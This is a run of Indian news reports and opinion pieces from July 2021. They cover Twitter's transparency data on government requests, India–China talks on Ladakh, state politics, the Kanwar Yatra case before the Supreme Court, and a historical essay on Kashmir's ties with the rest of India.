"India is the single largest source of government information requests, accounting for 25 per cent of the global volume and 15 per cent of the global accounts specified. The second highest volume of information requests originated from the US, comprising 22 per cent of global information requests," it added.

Japan (17 per cent) and France (14 per cent) followed in the list.

"Combined, these four countries accounted for 78 per cent of all global information requests during this reporting period," it said.

Twitter received 1,096 (46 per cent) more routine requests from India, while the number of accounts specified increased by 1,602 (27 per cent) during the reporting period over January-June 2020, it added.

During the latest reporting period (July-December 2020), Twitter received 38,524 legal demands globally to remove content specifying 131,933 accounts.

The platform withheld or otherwise removed some or all of the reported content in response to 29 per cent of these global legal demands.

"Although there was a 9 per cent decrease in the number of legal demands Twitter received, compared to the previous reporting period, these requests sought removal of content from the largest number of accounts ever in a single reporting period," Twitter added.

About 94 per cent of the total global volume of legal demands originated from only five countries (in decreasing order) - Japan, India, Russia, Turkey, and South Korea.

After Japan, the next highest volume of legal demands came from India, comprising 18 per cent of global legal demands and representing a 152 per cent increase from the previous reporting period.

"Notably, the number of accounts specified in requests from India also increased by 45 per cent this reporting period," Twitter said.

The US-based social media giant said accounts of 199 verified journalists and news outlets from around the world were subject to 361 legal demands - a 26 per cent increase in these requests since the previous reporting period.

"These included removal requests from India (128), Turkey (108), Pakistan (52), and Russia (28)," it added.

In its blog on Wednesday, Twitter said impressions on violative tweets accounted for less than 0.1 per cent of all impressions for all tweets globally from July-December 2020.

The impressions metric captures the number of views a violative tweet received prior to removal.

During this time, Twitter removed 3.8 million tweets that violated its rules.

About 77 per cent of these received fewer than 100 impressions prior to removal, 17 per cent had received between 100 and 1,000 impressions and 6 per cent of the removed tweets had more than 1,000 impressions.

"Our goal is to improve these numbers over time, taking enforcement action on violative content before it's even viewed," Twitter said.
By PTI

NEW DELHI: External Affairs Minister S Jaishankar on Wednesday firmly conveyed to his Chinese counterpart Wang Yi that the prolongation of the existing situation in eastern Ladakh was visibly impacting the bilateral ties in a "negative manner" and rued that there was no forward movement from the Chinese side since the disengagement in Pangong lake areas in February that had created conditions for resolving the remaining issues.

During a one-hour meeting on the sidelines of an SCO conclave in Dushanbe, the external affairs minister also told Wang that any unilateral change in the status quo along the Line of Actual Control (LAC) was "not acceptable" to India and that the overall ties can only develop after full restoration of peace and tranquillity in eastern Ladakh.

The two foreign ministers agreed to hold the next round of military dialogue at the earliest and that it should discuss all the remaining issues and seek a mutually acceptable solution, according to the Ministry of External Affairs (MEA).

The in-person meeting took place in the midst of a stalemate in the disengagement process between the two militaries in remaining friction points in eastern Ladakh after they withdrew troops and weapons from the Pangong lake areas in February following series of military and diplomatic talks to resolve the standoff.

"The External Affairs Minister (EAM) recalled that both sides had agreed that a prolongation of the existing situation was not in the interest of either side. It was visibly impacting the relationship in a negative manner," the MEA said in a statement.

Assessing the overall relationship, Jaishankar emphasised that maintenance of peace and tranquillity in the border areas has been the foundation for the development of ties since 1988.

"The attempts to change status quo last year that also disregarded commitments under the 1993 and 1996 agreements have inevitably affected ties."

"He emphasized that it was, therefore, in mutual interest that the two sides work towards early resolution of the remaining issues along the LAC in Eastern Ladakh, while fully abiding by bilateral agreements and protocols," the MEA said.

It was the first meeting between Jaishankar and Wang after their talks in Moscow on the sidelines of another SCO conclave in September last year.

In the Moscow talks, both sides reached a five-point agreement to resolve the border row.

The pact included measures like quick disengagement of troops, avoiding action that could escalate tensions, adherence to all agreements and protocols on border management and steps to restore peace along the LAC.

"Recalling their last meeting in Moscow, in September 2020, the External Affairs Minister emphasized the need to follow through on the agreement reached then and complete the disengagement, resolving the remaining issues along the LAC in Eastern Ladakh at the earliest," the MEA said.

It said Jaishankar pointed out to Wang that the successful disengagement in the Pangong Lake Area earlier this year had created conditions for resolving the remaining issues.

"It was expected that the Chinese side would work with us towards this objective. The External Affairs Minister noted, however, that the situation in remaining areas is still unresolved," the MEA said.

It said the ministers agreed that the next round of military talks should be convened at the earliest.

"They also agreed that in this meeting, the two sides should discuss all the remaining issues and seek a mutually acceptable solution. There was also an understanding that both sides will continue to ensure stability on the ground and neither side will take any unilateral action that could increase tension," the MEA said.

In a series of tweets, Jaishankar said the discussions focused on the outstanding issues along the LAC in eastern Ladakh.

The MEA said that the two ministers had a detailed exchange of views on the current situation along the LAC in eastern Ladakh and also on other issues related to the overall India-China relations.

"Concluded a one-hour bilateral meeting with State Councilor and FM Wang Yi of China on the sidelines of Dushanbe SCO Foreign Ministers Meeting.

Discussions focused on the outstanding issues along the LAC in the Western Sector," Jaishankar tweeted.

He said full restoration and maintenance of peace and tranquillity in border areas was essential for the development of the bilateral ties.

"Highlighted that unilateral change of status quo is not acceptable. Full restoration and maintenance of peace and tranquillity in border areas is essential for development of our ties," Jaishankar said.

The MEA said the two Ministers had a detailed exchange of views on the current situation along the LAC in Eastern Ladakh and also on other issues related to the overall India-China relations.

In the meeting, Jaishankar and Wang noted the agreement between both sides in the last round of talks at the Working Mechanism for Consultation and Coordination on India-China Border Affairs (WMCC) on June 25 to hold another round of military talks.

The MEA said the two ministers also agreed to remain in touch.

India and China have been locked in a military standoff at multiple friction points in eastern Ladakh since early May last year.

The two sides completed the withdrawal of troops and weapons from the North and South banks of Pangong lake in February following a series of military and diplomatic talks.

The two sides are now engaged in talks to extend the disengagement process to the remaining friction points.

There was no visible forward movement in disengagement of troops in the remaining friction points as the Chinese side did not show flexibility in their approach on it at the 11th round of military talks.

According to military officials, each side currently has around 50,000 to 60,000 troops along the Line of Actual Control in the sensitive sector.

India and China have been locked in a military standoff at multiple friction points in eastern Ladakh since early May last year.

The two sides completed the withdrawal of troops and weapons from the North and South banks of Pangong lake in February following a series of military and diplomatic talks.

The two sides are now engaged in talks to extend the disengagement process to the remaining friction points.

There was no visible forward movement in disengagement of troops in the remaining friction points as the Chinese side did not show flexibility in their approach on it at the 11th round of military talks.

There has been no attempt by the Indian or the Chinese side to occupy the areas in eastern Ladakh from where they disengaged in February and both sides are involved in talks to resolve the remaining issues in the region, the Indian Army said on Wednesday.

The Army said it has been monitoring activities by the Chinese People's Liberation Army (PLA) including turnover of troops in the region.

The Army stated this in a statement trashing a media report which claimed the Chinese military has again crossed the Line of Actual Control (LAC) in eastern Ladakh at several places and that there has been at least one incident of clash between the two sides.

"Ever since the disengagement agreement in February this year, there has been no attempt by either side to occupy the areas from where the disengagement had been undertaken. There have been no clashes in Galwan or any other area, as reported in the article," the Army said.

It also said that the report mentioning that agreements with China have collapsed is "false and baseless".

"Both sides have continued with negotiations to resolve the balance issues, and regular patrolling in respective areas continues. The situation on the ground continues to be as hithertofore. PLA activities, including turnover of troops, continue to be monitored by the Indian Army," the Army said.

To a query about the Indian media report, Chinese Foreign Ministry spokesman Zhao Lijian said in Beijing that he was not aware of it.

"I am not aware of the situation you mentioned," Zhao said.

India and China have been locked in a military standoff at multiple friction points in eastern Ladakh since early May last year.

The two sides completed the withdrawal of troops and weapons from the North and South banks of Pangong lake in February following a series of military and diplomatic talks.

The two sides are now engaged in talks to extend the disengagement process to the remaining friction points.

There was no visible forward movement in disengagement of troops in the remaining friction points as the Chinese side did not show flexibility in their approach on it at the 11th round of military talks.
By Express News Service

NEW DELHI: External Affairs Minister S Jaishankar is likely to meet his Chinese counterpart Wang Yi in Dushanbe in Tajikistan on the sidelines of the Shanghai Cooperation Organisation foreign ministers meeting. The two leaders last met on the sidelines of a similar meeting last September in Moscow, where they agreed on a five-point mechanism to ensure desecalation of tension and disengagement from friction points along the Line of Actual Control (LAC) in Ladakh.

According to sources, Jaishankar and Wang will discuss the security situation in Afghanistan and also the pending disengagement in Eastern Ladakh. Sources said the dates for the next round of senior military commanders meeting will be decided after the two foreign ministers meet.

Jaishankar arrived in Dushanbe on Tuesday to attend the SCO meeting, following which, he will proceed to Uzbekistan for a regional connectivity conference on July 15 and 16. The minister will also share stage with Pakistan Foreign Minister Shah Mehmood Qureshi. However, officials have ruled out any one-on-one meeting between the two. The agenda of the SCO meet will predominantly be the Taliban offensive in Afghanistan and its effect on neighboring south and central Asia.

The meeting will discuss the achievements of the organisation as it celebrates the 20th anniversary of its formation in this year. It will also assess the preparation for the upcoming SCO Council of Heads of States and exchange views on current international and regional issues, the ministry of external affairs stated.

The SCO was founded in 2001 by Russia, China, Kyrgyz Republic, Kazakhstan, Tajikistan, and Uzbekistan. It is an eight-member bloc, of which India and Pakistan became permanent members in 2017.
By PTI

KOLKATA: Amid the ongoing tussle between Raj Bhawan and the state government, West Bengal Chief Minister Mamata Banerjee and Governor Jagdeep Dhankhar Wednesday held an hour-long meeting and discussed various issues related to the state.

Dhankar said in a tweet the meeting was held without the presence of aides.

"Hon'ble Chief Minister @MamataOfficial called on Hon'ble Governor Shri Jagdeep Dhankhar at Raj Bhavan today. The two had an hour-long interaction without aides." he tweeted.

According to sources, the two discussed the resolution passed by the state assembly seeking creation of a legislative council.

The West Bengal assembly had passed a resolution last week supporting an ad hoc committee report that favoured creation of a legislative council despite strident opposition by the BJP.

"A lot of issues related to the state were discussed in the meeting, which was held in a very cordial atmosphere," an official said.

The meeting came amid growing animosity between Dhankhar and Banerjee, who recently said she has thrice written to the Centre demanding the governor's recall.

The faceoff between Dhankhar and Banerjee intensified last month when the chief minister accused the governor of being a "corrupted man" and claimed he was named in the Jain Hawala case.

Dhankhar remonstrated, accusing her of propagating "lies and misinformation".

Dhankhar and the Banerjee government have been at loggerheads ever since he assumed office over a year ago.

The governor has often expressed concern over the law and order situation, including the violence that followed the assembly polls held earlier this year.
By PTI

BHOPAL: The Madhya Pradesh government on Wednesday authorised its home secretary to issue notices to social media companies, if they are found carrying unlawful content, like promotion of terror activities and child pornography, an official said.

Through a notice, the official will ask a social media company to immediately remove the unlawful content from its portal, he said.

"The state's home secretary has been authorised to issue a notice under the IT Act against online transmission of unlawful posts on social media platforms like Facebook, Twitter, Instagram and others for their immediate removal," additional chief secretary (ACS) home, Dr Rajesh Rajora, said.

This authority was given by the home department in consultation with the law and science and technology departments of the state, he said.

On receiving information about unlawful posts on social media platforms, the home secretary will issue notices in designated formats to the concerned companies for the immediate removal of such content, the official said.

Objectionable content relates to child pornography, promotion of terror activities, selling illegal arms, inciting violence, crime related to untouchability, cyber crimes, encouragement to suicide, spreading rumours, wrong depiction of India's map, child marriage, financial crimes, cruelty against animals, misleading information about medicines and selling of crackers online, among others, are the areas in which the home secretary is authorized to issue notices to the social media platforms, he said.

The opposition Congress, however, slammed the Shivraj Singh Chouhan-led BJP government in the state over the order, terming it as "Tughlaqi" (unreasonable).

Madhya Pradesh Congress media coordinator Narendra Saluja said, "As the state government is unable to bear the criticism against it on the social media, it has issued a Tughlaqi order, and it will decide whether whatever one has posted on social media is right or wrong."
By PTI

MUMBAI: NCP chief Sharad Pawar has ruled out contesting the Presidential election due in 2022, sources in his party said on Wednesday, an assertion coming in the wake of speculation about the veteran politician becoming the opposition nominee for the top post.

The sources said Pawar (80), a multiple-time CM of Maharashtra and a former Union minister, has rejected media reports about him becoming a candidate in the Presidential election.

According to the sources, Pawar feels election result for someone contesting against the candidate of a party which has overwhelming numbers in Parliament will be a foregone conclusion.

Apparently, poll strategist Prashant Kishor's two meetings with Pawar a few days ago and his (Kishor) recent meetings with Congress leaders Sonia Gandhi, Priyanka and Rahul Gandhi fuelled speculation in the media that these meets explored the possibility of the Maharashtra politician becoming the opposition candidate for India's highest office.

A source from the NCP, which is part of the coalition that rules Maharashtra, however, said Pawar has termed these reports as "false" and ruled out jumping into the Presidential poll fray.

Pawar has reportedly said he did not have any discussion over the Presidential poll or about the 2024 general elections with Kishor.

Such reports in the media are mere speculation, the sources said.

NCP minister Nawab Malik said there has been no discussion within the party on the Presidential poll.
Rajesh Kumar Thakur By

Express News Service

PATNA: The population control policy proposed in poll-bound Uttar Pradesh has brought Bihars ruling NDA alliance partners JD-U and BJP at loggerheads. Bihar CM Nitish Kumar has opposed the law and said that educating women is a better way of addressing the issue. After JD-U heavyweights comment, BJP leader and Deputy CM Renu Devi said it was more important to create awareness among men that women.

Sources said this will continue and may even snowball into a major difference between BJP and JD-U before Assembly elections in Uttar Pradesh, where JD-U has decided to contest in alliance with BJP subject to terms and conditions.

BJP MP from Begusarai Giriraj Singh contradicted Nitish by saying this population policy must not be considered in the context of politics, caste and religion. Another BJP leader, Samarat Chaudhary batted for a similar policy. Political expert Dr RK Verma said difference cropping up over the population control policy between BJP and JD-U will sour their political relations, which may affect the alliance.
By PTI

MUMBAI: Observing that the accused lodged in jails are in a "secure situation" compared to the daily working people in society who are exposed to the "outside social atmosphere", a court here had rejected the interim bail plea of Chintan Upadhaya, arrested in connection with the murder of his artist wife and her lawyer in 2015, and another accused who had sought the relief citing the COVID-19 pandemic.

A detailed order of the court was made available on Tuesday.

Chintan Upadhaya and Pradeep Rajbhar had sought temporary bail citing a surge in COVID-19 cases, coronavirus variants and the pandemic.

Hema Upadhyay, a Mumbai-based artist, and her lawyer Haresh Bhambhani were killed on December 11, 2015 and their bodies disposed of in suburban Kandivali.

Denying them relief, additional sessions judge D D Khoche said jail authorities are taking care of inmates "at their level best and therefore the pandemic could not effectively spread in the prison".

"Rather, as compared with the daily-working people in the society who are usually exposed to the outside social atmosphere, applicants/accused can be observed as comparatively in a secure situation in the jail," the judge noted.

He further observed that the second wave of the pandemic is now under control.

"Though this court may understand the feelings of the accused, even pains that they are kept in jail under this fearful situation of COVID-19, in view of the proceeding of the trial and for want of the recommendation to release the accused in a murder case on interim bail.

(But) the court cannot consider their situation, because it is the case beyond its limitation," the court added.

The court on Tuesday directed the prosecution to produce witnesses to testify before the court from the next hearing which is scheduled on July 27.

However, the trial couldn't progress due to the pandemic.

Chintan Upadhyay was arrested on December 22, 2015, for the murders and is currently in judicial custody.

The other arrested accused are Shiv Kumar Rajbhar, Pradip Kumar Rajbhar, Vijay Kumar Rajbhar and Azad Rajbhar.

Another accused Vidhyadhar continues to be absconding.
By PTI

NEW DELHI: The Supreme Court on Wednesday took suo motu cognisance of a "disturbing" news on Uttar Pradesh government's decision to allow 'Kanwar Yatra' amidst the COVID-19 pandemic and sought responses from the state as well as the Centre on the matter.

A bench headed by Justice R F Nariman referred to the statement of Prime Minister Narendra Modi that not "even a bit" of compromise can be made on COVID-19 containment and said the citizens were "perplexed" about the happenings in view of the fact that as the UP government has allowed the religious 'yatra' commencing from July 25.

It issued a notice to the Centre and the state governments of Uttar Pradesh and Uttarakhand while posting the matter for hearing on Friday.

The bench said that it read something "disturbing" that the state of UP has chosen to continue with the Kanwar yatra, while Uttarakhand with its hindsight of experience, has decided against it.

ALSO READ | Uttarakhand government cancels Kanwar Yatra owing to COVID-19

"We wish to know what the stand of the respective governments is," said the bench also comprising Justice B R Gavai.

"The citizens of India are completely perplexed. They don't know what is going on. And all this amid the Prime Minister, when asked about a third wave of COVID striking the nation, saying 'we cannot compromise even one bit'.

"We are issuing notice to the Centre, UP and Uttarakhand and because the yatra is scheduled to leave from 25 July, we want them to file an early response so that the matter can be heard on Friday", the top court said.

The Yogi Adityanath government on Tuesday allowed the yatra from July 25 despite concerns raised in various quarters over the risk posed by such events in triggering a possible third wave of COVID-19.

The UP Chief Minister has urged however that only a minimum number of people should participate in the annual Kanwar Yatra and directed strict implementation of the COVID-19 protocol.

Every year, tens of thousands of ''Kanwariyas'' (devotees of Lord Shiva) from northern states travel on foot or by other means to collect water from River Ganga at Haridwar to offer at Shiva temples in their areas as part of the yatra.

Meanwhile, the Uttarakhand government has cancelled the 'Kanwar Yatra' in view of a possible third wave.

Chief Minister Pushkar Singh Dhami had said that though Kanwar Yatra is part of Sanatan culture, saving lives in the time of the pandemic was paramount.

The fortnight-long yatra, which begins with the onset of the month of Shravan by the Hindu calendar goes on till the first week of August, and sees a large gathering of Kanwariyas in Haridwar from neighbouring states including Uttar Pradesh, Haryana and Delhi to collect the holy waters of the Ganga.
Fayaz Wani By

Express News Service

SRINAGAR: Three militants of Lashkar-e-Toiba including a Pakistani commander were killed in a nocturnal gunfight with security forces in south Kashmirs Pulwama district, police said.

A police official said acting on specific inputs about the presence of militants, a joint contingent of police, CRPF and army launched a search operation in main town Pulwama yesterday evening.

Three Lashkar militants including a commander killed in a gunfight with troops in Pulwama in south Kashmir, according to @JmuKmrPolice.@NewIndianXpress  Fayaz Wani (@iamfayazwani) July 14, 2021

He said after plugging all the possible escape routes, security personnel zeroed in on the target area where the militants were hiding.

ALSO READ | Security forces destroy IED planted by militants in Jammu and Kashmir's Kulgam

After finding themselves trapped, militants opened fire on the troops. The fire was returned by security men, triggering an encounter, the official said.

In the ensuing gunfight, which continued till the morning today, three Lashkar militants were killed.

IGP Kashmir Vijay Kumar said two of the three militants killed were locals and another was a Pakistani militant Aijaz alias Abu Huraira.

Aijaz was commander of the outfit, he said.

Todays encounter is the 8th encounter in the Valley in the last fortnight.

In these encounters, 21 militants and an army jawan have been killed.
By ANI

KOLKATA: West Bengal Congress General Secretary Rohan Mitra on Wednesday resigned from his post stating that he was "humiliated" by state party president Adhir Ranjan Chowdhury and his "Adhir Sena clique".

In the resignation letter, he severely criticized Chowdhury stating that the latter's attitude towards him had "always been pathetic".

"The sycophants surrounding you have not only brought your downfall but also led to the ultimate downfall of the party in the state with no visible signs of revival in near future," said Mitra in his letter to Adhir Ranjan Chowdhury.

"Your fragile ego could not handle your removal from the post of Pradesh Congress Chair Presidents back then and you decided to take it on me," Mitra further wrote.

Mitra further said, "You humiliated me by cutting my name from the campaigner's list."

Mitra put the blame on Chowdhury's choices for Congress face at Nadia and Central Kolkata for the party's loss in Behrampur in the recent polls.

"The people you brought in and put in the position of leadership show how incapable you are as the face of West Bengal Pradesh Congress," Mitra wrote.

He accused Chowdhury of hypocrisy. He wrote, "The change in your tone and narrative towards the incumbent Trinamool Congress and Chief Minister of Bengal is a proof of that".

"Your vindictive nature was clear to me right at the beginning of your second tenure, yet I went out doing the work of a foot soldier of the party," he wrote.

Mitra also hit out at Chowdhury for the alliance with the Furfura Sharif cleric Abbas Siddiqui's Indian Secular Front (ISF) ahead of the recent Assembly polls.

"You were the one who went to Furfura to talk to Abbas, you and the CLP opened the doors for the alliance with ISF, even after the humiliation at the brigade rally on 28th February, you still carry on with the alliance which you now deny", added Mitra.

He further said: "I congratulate you on your continued reign as the Pradesh president and the 'Adhir Sena' clique which you have founded over the Indian National Congress in West Bengal. This is your legacy."
By PTI

LUCKNOW: Samajwadi Party supremo Akhilesh Yadav on Wednesday appealed to all leaders of his party to get themselves vaccinated and to remain alert in order to save themselves from the coronavirus.

A few months ago, Yadav had stoked controversy by saying that he would not get himself injected with a "BJP vaccine" against coronavirus.

Later, he had tried to make amends, saying he was not referring to the scientists.

The SP chief had said that he has full faith in the doctors but not in the government.

He had appealed to the people to only believe in what the doctors say, not Uttar Pradesh Chief Minister Yogi Adityanath.

According to a statement issued by SP chief spokesperson Rajendra Chowdhury, "At the meeting, Akhilesh Yadav appealed all to get themselves vaccinated. He asked partymen to remain alert to save themselves from the coronavirus."

SP general secretary Ram Gopal Yadav and senior leaders were present at the meeting in which the political and economic situations were discussed.

They also reviewed preparations of the party for the 2022 assembly polls.
By PTI

MUMBAI: Maharashtra Congress president Nana Patole on Wednesday described NCP chief Sharad Pawar as the "remote control" of the Shiv Sena-led Maha Vikas Aghadi (MVA) government in the state.

Patole made the remark while speaking to a regional news channel.

The NCP is the second largest constituent of the MVA after the Shiv Sena, which heads the three-party ruling coalition.

The Congress is the third partner in the MVA.

Asked why he was not invited to Pawar's residence on Tuesday when a group of state Congress leaders met the NCP patriarch, Patole said, "The meeting was for the state government and its coordination. It was not a party-level meeting. He (Pawar) is indeed the remote control of this MVA government."

Pawar is considered the chief architect of the MVA which came to power in November 2019 under the stewardship of Chief Minister and Sena president Uddhav Thackeray.

'Remote control' is a term commonly used to underscore a person's influence over the government of the day without holding any constitutional post.

The term was first used in Maharashtra in reference to Sena founder late Bal Thackeray during 1995-99 when the Shiv Sena-BJP combine was in power, to denote his considerable influence over the state government.

Talking to reporters earlier in the day, Patole, in a veiled attack on the NCP in the context of the 2014 assembly elections, said his party was "cheated" seven years ago and it is now preparing for the 2024 general elections keeping that in mind.

Patole was apparently referring to the NCP's move to contest the 2014 assembly elections in Maharashtra separately.

"The Congress has gone through such cheating. We want to ensure that in the next major election, we will not face such a situation again," said the former state Assembly speaker.

Patole recently kicked up a row when he sought to suggest that the MVA government was keeping an eye over his movements and claimed the Shiv Sena and the NCP feel the ground was slipping from beneath their feet due to his party's growing influence.

As his "under watch" remarks caused a flutter, Patole on Monday claimed wrong information was being spread through the media and asserted there was no dispute among MVA allies.
Shonaleeka Kaul By

In this series, we attempt to redress the glaring academic and political neglect of the longue duree historical identity of Kashmir, in particular the amnesia regarding her open, plural and founding connected histories with the rest of India. While the last time we looked at Kashmirs early archaeology, historical geography and linguistic rootswhich proved to be deeply Indictoday we begin with another telling cultural marker: script.

After a brief appearance by Kharoshti on coins in Kashmir and other parts of North-West India, by the 3rd century the Brahmi scriptfrom which the vast majority of Indian scripts today are derivedtook over completely, not just in the Valley but the wider culture region. For example, 80% of the 5,000 ancient inscriptions found in Hunza, Gilgit, Chilas and the Karakoram Highway in PoK are in this quintessential Indic script. And, as the epigraphist Oskar von Hinuber tells us, the writing style shows affinities with, remarkably, Western Mathura Brahmi!

Similarly, when Sharada, the script par excellence of Kashmir, evolved from Brahmi circa 8th century, it was under the influence of Eastern Allahabad Brahmi, pointing again to astonishing connectivity. Sharada, in turn, was used beyond Kashmir across NWFP, Peshawar, Ladakh, Kangra, Chamba and Punjab right up till Delhi-Mathura.

All in all, it is obvious that Kashmir partook in shaping material and cultural formations of early India. But thats not all. She was a part of pan-Indian political formations from the very beginning too, i.e. the 3rd century BCE Mauryan Empire that stretched across the subcontinent and whose emperor Ashoka is believed to have founded the capital city of Srinagari, a local memory we hear of not only in the Rajatarangini (12th century), the first history of Kashmir, but even earlier in the Chinese traveller Xuan Zangs account of his visit to the Valley (7th century). Recall that numismatists identified Mauryan imperial issues among the punch-marked coins found in Semthan, and that the iconic Shankaracharya temple in Srinagar is located at the site of the Jyestheshvara temple said to be erected by Ashoka.

Kashmir was also a part of the trans-regional Indic kingdoms of the Kushanas (2nd-3rd century) and Hunas (6th century), which extended at different points till Banaras and Malwa, respectively.

Further, kings, queens and ministers of Kashmir were drawn from and in alliance with different parts of India across the centuries. Would you believe that Kashmir and Gandhara (Peshawar) were known to be the political allies of Magadha or Bihar! Indeed Kashmir had complex marital and political histories with regions very far away and deep within the Indic mainland like Pragjyotisha (Assam), Gauda (Bengal) and Tamilakam.

For example, Meghavahana (5th century), the great grandson of an exiled king of Kashmir, was given asylum by the king of Gandhara who, in time, sent him across the length of the Himalayas to Pragjyotisha for the swayamvara of its princess. Winning her hand, Meghavahana returned loaded with wealth and the royal Vishnu parasol of the Assamese king. He was then invited by the ministers of Kashmir to ascend the throne. Similarly, Bhikshachara (12th century), a prince of Kashmir cast away at birth, grew up in the Malwa kings court in the Deccan as his adopted son. Eventually he returned to Kashmir and won back the crown.

Still other rulers from Malwa, like Pratapaditya and Matrigupta (6th-7th centuries), believed to be descendants of the legendary emperor Vikramaditya, were invited by Kashmiris to be their king, due in part to their lineage, showing Kashmirs subscription to the north Indian politico-mythic universe. Several queens of Kashmir were also drawn from remote regions including Cholamandalam (Tamil Nadu), Assam (as we saw), Andhra, Jalandhara (Punjab) and Kalanjara (Madhya Pradesh).

Complementing the diverse nature of Kashmiri royalty was the eclectic composition of other ruling elites over the centuries. King Lalitaditya (8th century), known as the universal (sarvabhauma) ruler, had a Tuhkhara spiritual advisor; Jayapidas (6th century) chamberlain was the ruler of Mathura; Anantadevas (10th century) jester was from the Ganga plains while his ministers were from Kangra and, again, Malwa.

Interestingly, in the service of King Harsha (11th century) were people from Punjab and also far-off Karnataka. Indeed the dynamic, if quixotic, Harsha spectacularly introduced Kannada couture in the royal court at Srinagar, and also a new coin type depicting the elephantan emblem far removed from Kashmiri ecology and imaginationobviously under Kannada inspiration. What an incredibly open and cosmopolitan land Kashmir was!

Not just that, the Rajatarangini tells us that several Kashmiri rulers undertook military expeditions deep into the subcontinent. Most notably, Lalitaditya undertook conquests in north and east India, including against Kanyakubja (Kanauj, UP), the symbol of imperial sovereignty in early medieval times that was also coveted by the Rashtrakutas of Maharashtra, Pratiharas of Rajasthan and Palas of Bengal. But while we famously hear in history textbooks of this tripartite struggle over Kanauj, Kashmir is never mentioned! This is despite the fact that Lalitadityas coins have been found in large hoards from half-a-dozen places in UP and Bihar, reaffirming the political and commercial presence of Kashmiris in the Ganga valley.

Thus, Kashmirs internal politics did not occur in isolation at all but was a porous process from the beginning, inextricably tied up with other regions of the Indian subcontinent, near and far. This squares with, and must have flowed into and out of, the social and cultural interconnectedness of early Kashmir and the rest of India that we survey in this series.

(To be continued)

Shonaleeka Kaul

Associate Professor, Centre for Historical Studies, Jawaharlal Nehru University

(The writer is author of The Making of Early Kashmir: Landscape and Identity in the Rajatarangini)

(shonaleeka@mail.jnu.ac.in)
Googles chief executive officer Sundar Pichais recent statement that the free and open internet is under attack around the world needs to be taken seriously. In an interview with BBC on Monday, Pichai pointed out that many countries are restricting the flow of information. They are subjectively defining what free speech is and drawing rigid boundaries. Coming as it does from one of the worlds largest tech companies with annual revenues of over $182 billion, there is cause for concern. Does one also detect a note of desperation as Pichai urged countries with strong democratic traditions and values to stand up against the fragmenting of the internet?

Though he did not take names, the Google chiefs obvious targets are China and India. The two together account for half the internet-connected world, and both have seen huge growth in recent years in internet-driven technology. Chinas internet restrictions are well known. It runs the worlds most sophisticated firewall, and the government monitors all content passing through the internet. More recently, India has joined the bandwagon with a sweeping set of information technology rules aimed at controlling the digital medium. These require quick take-downs of posts that the government sees as harmful or violating national interests and make it mandatory for tech companies like Facebook and Google to identify the originator of messages.

China has always been a censor of the free internet. But the significance of Pichais warning is because India, a votary of freedom, is unfortunately going down the same road. As many as 20 OTT companies and news networks have challenged the new IT rules in different High Courts. As the old legacy media have been bottled up in layers of controls, the internet, which spawned the digital medium, became the voice of free communication. It has not only allowed uncensored news flow, but also facilitated the growth of e-commerce and entrepreneurship. It is therefore unfortunate that India, which has contributed one of the biggest pools of talent to the digital world, is now seeking to roll back Internet freedom. Pichais warnings need careful consideration.
By Express News Service

VIJAYAWADA: With an objective to ensure women empowerment and livelihood to six lakh women on a permanent basis through the YSR Cheyutha scheme, the State government exchanged MoUs with 14 companies. Officials exchanged papers in the presence of the Ministers' Committee comprising Peddireddy Ramachandra Reddy (Panchayat Raj and Rural Development), Botcha Satyanarayana (Municipal Administration and Urban Development) K Kannababu (Agriculture) and Seediri Appala Raju (Animal Husbandry) at a programme held in the Panchayat Raj Commissioners office at Tadepalli on Monday.

The State government, through the MoUs, wants to create a conducive business environment with end-to-end solutions consisting of capital support, market linkages, skill enhancement and technical support, thereby empowering women and ensuring a sustainable income both at the individual and collective level. The firms that exchanged MoUs with the State government departments are Ajio Business (part of Reliance Retail Ltd), Grameena Vikas Kendram Society for Rural Development, Mahindra Top Greenhouses Pvt Ltd and Kheyti Tech Pvt Ltd, Tanager, Institute of Rural Management Anand, Basix (Bharatiya Samruddhi Investments and Consulting Services Ltd) Gian (Gujarat Grassroots Innovation Augmentation Network), FDRVC ( Foundation for Development of Rural Value Chains), Nerds and Geeks Pvt Ltd, an e-Commerce platform, Entrepreneurship Development Institute of India, Voluntary Association for People Service (VAPS), AP Food Processing Society, AP Rythu Sadhikara Samstha and National Institute for MSME.

Speaking on the occasion, the ministers asserted that the government was taking all measures to develop women as entrepreneurs in the areas they are residing in, with the financial support of the government. Saying that the government provides Rs 75,000 each to the eligible women in four instalments, the ministers said that Rs 8,000 crore has been given to 24 lakh women in two instalments so far under the YSR Cheyutha scheme. Earlier, the government entered into agreements with six prominent companies.
Bosky Khanna By

Express News Service

BENGALURU: Opposition leader Siddaramaiah who has been on a tour of his constituency Badami, had a harrowing ordeal after he was nearly gheraoed on Tuesday by an angry group of his own constituents, most of whom raised slogans against him and openly criticised him.

Siddaramaiah was heckled and finally rescued by a group of brave policemen who immediately formed a human shield and escorted him to safety.

It may be recalled that Siddaramaiah has been on a tour of his constituency Badami since July 12 and stayed there overnight, meeting his constituents and attending to their many woes.

On Tuesday, Siddaramaiah inspected work on the Mini Vidhan Soudha and participated in programme where ration kits were distributed to construction workers.

He later participated in a programme where college students were given tablets to help them in their online studies.

When he went to participate in the inaugural of the Parvati Ganjkere area where they have been planning to rejuvenate the tanks, residents raised some previous issues which he had not attended to and made allegations against him and even threatened to gherao him. Some of them even squatted on the way to prevent him from leaving.

But police escort quickly formed a human shield all around him to ensure that he did not get hurt and escorted him to his vehicle and out of the place.
Bala Chauhan and Chetana Belagere By

Express News Service

BENGALURU: At a time when policies on population control are being hotly debated, experts feel that such measures are coercive in nature and shift the focus away from real issues on hand.

Terming it a disaster to even think of implementing a population control policy in Karnataka, executive director of the Population Foundation of India, Poonam Muttreja, said no state needs such a policy, and, if Karnataka implements a coercive policy like that, then the government will soon have to start offering incentives to people to populate, specially as Karnatakas Total Fertility Rate (TFR) has been anyway declining from 2.5 in 1999 to 1.7 in 2020, while the prescribed TFR is 2.1.

It is going to be a disaster. Karnataka will have a reverse problem wherein the government will then have to offer incentives for people to be born. It is an absolute no according to me, Muttreja said, terming it as a new fashion to make such announcements.

The states have a comprehensive framework and inspiring document in the form of National Population Policy 2000 to follow. Recently, in an affidavit filed in the Supreme Court on a petition in December 2020, the Union Ministry for Health and Family Welfare had itself said, international experience shows that any coercion to have a certain number of children is counter-productive and leads to demographic distortions.

Indias TFR is already down substantially to 2.2 as per the 2018 Sample Registration System, which is part of the Census exercise, from 3.2 in 2000, when the National Population Policy was adopted, Muttreja pointed out.

